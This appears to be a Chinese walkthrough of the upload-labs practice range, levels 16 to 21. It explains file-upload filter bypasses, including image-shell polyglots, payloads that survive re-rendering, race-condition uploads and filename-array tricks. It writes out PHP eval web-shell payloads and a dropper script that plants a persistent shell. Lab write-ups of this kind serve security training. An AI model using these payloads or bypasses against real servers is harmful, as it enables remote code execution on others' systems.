0x00 Pass16(exif_imagetype函数绕过)
环境准备
首先需要在本机环境中开启php_exif扩展,否则将会提示如下错误: 开启php_exif扩展方法详见这篇博客。
分别去掉php_mbstring、php_exif 扩展的注释,再将exif 块的注释全部清除,此时再执行相应的代码。
exif_imagetype函数
从代码可以看到,本关主要考查exif_imagetype($filename) 函数的使用,首先了解一下exif_imagetype 函数。
exif_imagetype() 读取一个图像的第一个字节并检查其签名。 返回值和getimagesize() 返回的数组中的索引 2 的值是一样的,但本函数快得多。
常见的返回值有:
1 IMAGETYPE_GIF 2 IMAGETYPE_JPEG 3 IMAGETYPE_PNG 4 IMAGETYPE_SWF 5 IMAGETYPE_PSD 6 IMAGETYPE_BMP
例如选择一张jpg 类型的图片上传,返回值应为2 本关代码为:
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
由于只检查第一个字节,因此我们使用copy /b 1.png+test.php upload.png 生成的图片马尝试绕过。
0x01 Pass17(二次渲染绕过)
move_uploaded_file函数
move_uploaded_file(string $filename, string $destination): bool 本函数检查并确保由 filename 指定的文件是合法的上传文件(即通过 PHP 的HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 destination 指定的文件。
imagecreatefromjpeg、imagecreatefrompng、imagecreatefromgif函数
imagecreatefromgif(string $filename): resource imagecreatefromgif() 返回一图像标识符,代表了从给定的文件名取得的图像。 成功后返回图象对象,失败后返回 false。
imagejpeg、imagepng、imagegif函数
imagepng(resource $image, string $filename = ?): bool imagepng() 将 GD 图像流(image)以 PNG 格式输出到标准输出(通常为浏览器),或者如果用 filename 给出了文件名则将其输出到该文件。
过关思路
在这里把每张用户上传的图片都重新生成了,也就是类似于生成缩略图的方式,我们首先使用正常的图片马,上传后下载下来,看看被代码重新生成的文件与源文件有什么不同。
GIF文件插入payload
使用010edit的比较功能。
使用GIF成功的可能性更大,灰色的部分即为相等的部分,因此将要插入的话包含在灰色部分即可。
插入后上传可成功访问。
png、jpg文件插入payload
而png和jpg相对而言都较难成功, 这里参考了国光的文件上传靶场知识总结的部分内容。 引用他人的项目hxer /imagecreatefrom实现。 使用命令
python poc_png.py -p "<?php @eval($_REQUEST[1]); ?>" -o test.png indexcolor.png
生成带有payload的文件。上传渲染后使用010edit打开。发现payload仍然存在,数据在PLTE 块中。 而jpg 的渲染图片马我的环境中一直无法成功,后期再进行学习。
0x02 Pass18(条件竞争绕过)
代码如下:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
抓取上传数据包
在本关中所有符合条件的上传的文件都会被 rename ,所有不符合条件的伤处啊都会被unlink,因此上传的文件内容应该为:
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
这里内容pass使用1而不使用字符串也是为了避免引号问题。
首先在未unlink之前将生成木马文件的脚本上传,然后在删除之前访问即可。 抓取上传文件的数据包。 发送到Intruder 模块,选择空载荷和无限期的重复。
抓取访问数据包
开始攻击后可以发现upload 目录下的test 文件会闪烁存在,但时间很短,因此需要抓取一个访问test.php 的数据包,重复以上操作。 当状态码由404变为200时,文件已经写入成功了。 访问shell文件成功执行。
0x03 Pass19(条件竞争绕过+Apache解析漏洞)
这里也是需要用到条件竞争,先使用上面的脚本。
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
根据代码可知,上传的文件必须在以下后缀名中。
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
根据Apache解析漏洞规则,无法被解析的文件名会向前解析,因此需要找到一个不被解析的白名单后缀。 且其他zip、ppt、xml等后缀名要么不被重命名,要么直接下载或被解析, 无法完成访问,只有7z不被解析也不会被下载。 此时上传test.php.7z ,但会被重命名,因此要在重命名之前上传并访问他。 使用18关的方法上传并访问即可。
0x04 Pass20(move_uploaded_file函数/.绕过)
当move_uploaded_file($temp_file, $img_path) 中的path 可控时,不仅在一定的条件下可以使用%00 截断,还可以使用/. 使其忽略后面的内容,从而上传恶意文件。
将保存文件的路径修改为/. 结尾即可。访问。
http://127.0.0.1/upload-labs/upload/upload-19.php/
0x05 Pass21(explode数组绕过)
代码如下:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
根据三目运算符的含义
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
即为优先取我们传递的save_name,只有save_name为空时才会使用本身的名字。 再使用
if (!is_array($file)) {
$file = explode('.', strtolower($file));}
将文件名以点. 分割为数组。 使用$ext = end($file); 函数取最后一个元素为后缀名。 使用reset($file) . '.' . $file[count($file) - 1]; 将文件名以最后一个元素为后缀重新命名。 当我们传入0=>'test.php',2=>'png' 这样一个file时,各部分的输出为:
可以看到满足了本关中后缀的检查、也生成了新的php类型文件。 因此在数据包中构造如下。 访问即可成功执行命令。
|